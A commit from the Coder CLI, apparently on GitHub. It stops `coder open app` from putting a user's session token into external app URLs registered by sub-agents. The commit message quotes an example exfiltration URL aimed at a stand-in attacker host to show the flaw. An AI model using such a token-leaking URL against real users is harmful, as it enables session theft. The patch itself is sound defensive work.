fix: prevent session token exfiltration via external app URLs (#26146)

`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.

Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.
This commit is contained in:
Zach
2026-06-11 09:58:16 -06:00
committed by GitHub
parent a4c867f11b
commit 9b550cbfe9
3 changed files with 121 additions and 37 deletions
+24 -14
View File
@@ -39,6 +39,11 @@ func (r *RootCmd) open() *serpent.Command {
const vscodeDesktopName = "VS Code Desktop"
// externalSessionTokenPlaceholder is the literal substring in an external
// workspace-app URL that the CLI replaces with the user's session token
// when the app belongs to a trusted (top-level) agent.
const externalSessionTokenPlaceholder = "$SESSION_TOKEN"
func (r *RootCmd) openVSCode() *serpent.Command {
var (
generateToken bool
@@ -387,8 +392,13 @@ func (r *RootCmd) openApp() *serpent.Command {
pathAppURL := strings.TrimPrefix(region.PathAppURL, baseURL.String())
appURL := buildAppLinkURL(baseURL, ws, agt, foundApp, region.WildcardHostname, pathAppURL)
if foundApp.External {
appURL = replacePlaceholderExternalSessionTokenString(client, appURL)
externalSubAgentApp := foundApp.External && agt.ParentID.Valid
if foundApp.External && !agt.ParentID.Valid {
// Template-defined apps run on a top-level agent and are
// admin-authored, so their URLs are trusted. Substitute the
// session token placeholder so the OS open handler receives
// a usable URL.
appURL = strings.ReplaceAll(appURL, externalSessionTokenPlaceholder, client.SessionToken())
}
// Check if we're inside a workspace. Generally, we know
@@ -399,6 +409,18 @@ func (r *RootCmd) openApp() *serpent.Command {
_, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL)
return nil
}
// Sub-agent external app URLs are set at runtime. Only open
// sub-agent URLs that don't contain the placeholder to prevent
// token exfiltration.
if externalSubAgentApp && strings.Contains(appURL, externalSessionTokenPlaceholder) {
cliui.Warnf(inv.Stderr,
"This app was registered from inside the workspace rather than from the workspace template. "+
"Inspect the URL below carefully and, if you trust the source, substitute the $SESSION_TOKEN placeholder "+
"with your session token and manually open it:")
_, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL)
return nil
}
_, _ = fmt.Fprintf(inv.Stderr, "Opening %s\n", appURL)
if !testOpenError {
@@ -664,15 +686,3 @@ func buildAppLinkURL(baseURL *url.URL, workspace codersdk.Workspace, agent coder
}
return u.String()
}
// replacePlaceholderExternalSessionTokenString replaces any $SESSION_TOKEN
// strings in the URL with the actual session token.
// This is consistent behavior with the frontend. See: site/src/modules/resources/AppLink/AppLink.tsx
func replacePlaceholderExternalSessionTokenString(client *codersdk.Client, appURL string) string {
if !strings.Contains(appURL, "$SESSION_TOKEN") {
return appURL
}
// We will just re-use the existing session token we're already using.
return strings.ReplaceAll(appURL, "$SESSION_TOKEN", client.SessionToken())
}